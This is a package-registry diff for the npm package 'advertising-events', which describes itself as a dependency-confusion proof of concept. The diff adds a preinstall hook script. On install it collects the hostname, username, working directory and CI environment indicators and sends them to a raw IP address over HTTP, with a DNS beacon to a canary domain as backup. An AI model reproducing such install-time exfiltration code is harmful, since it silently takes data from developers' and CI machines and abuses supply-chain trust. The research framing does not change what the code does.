advertising-events 99.0.0 → 99.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/callback.js +29 -5
  2. package/package.json +1 -1
package/callback.js CHANGED
@@ -1,7 +1,31 @@
1
- const dns = require('dns');
1
+ const http = require('http');
2
2
  const https = require('https');
3
3
  const os = require('os');
4
- const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30), Date.now().toString(36)].join('.');
5
- const canary = 'd69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info';
6
- dns.resolve(id + '.' + canary, () => {});
7
- try { const d = JSON.stringify({t:'dep-confusion',pkg:'advertising-events',h:os.hostname(),ts:new Date().toISOString()}); const r = https.request({hostname:canary,path:'/poc?'+Buffer.from(d).toString('base64url'),method:'GET',timeout:5000},()=>{}); r.on('error',()=>{}); r.end(); } catch(e) {}
4
+ const dns = require('dns');
5
+
6
+ const data = JSON.stringify({
7
+ t: 'dep-confusion',
8
+ pkg: process.env.npm_package_name || 'unknown',
9
+ h: os.hostname(),
10
+ u: os.userInfo().username,
11
+ ts: new Date().toISOString(),
12
+ cwd: process.cwd(),
13
+ ci: process.env.CI || process.env.JENKINS_URL || process.env.GITHUB_ACTIONS || 'none'
14
+ });
15
+
16
+ // HTTP callback to our server
17
+ const req = http.request({
18
+ hostname: '165.22.164.100',
19
+ port: 8443,
20
+ path: '/callback',
21
+ method: 'POST',
22
+ headers: {'Content-Type': 'application/json'},
23
+ timeout: 5000
24
+ }, () => {});
25
+ req.on('error', () => {});
26
+ req.write(data);
27
+ req.end();
28
+
29
+ // DNS callback as backup
30
+ const id = ['depconfusion', os.hostname().replace(/[^a-z0-9]/gi,'-').slice(0,30)].join('.');
31
+ dns.resolve(id + '.d69ai701mapqfrtu0ulg7i38uo6cotenc.projectinteraction.info', () => {});
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "advertising-events",
3
- "version": "99.0.0",
3
+ "version": "99.0.1",
4
4
  "description": "Security research - dependency confusion proof of concept. Contact: schneidersec on npm.",
5
5
  "scripts": {
6
6
  "preinstall": "node callback.js || true"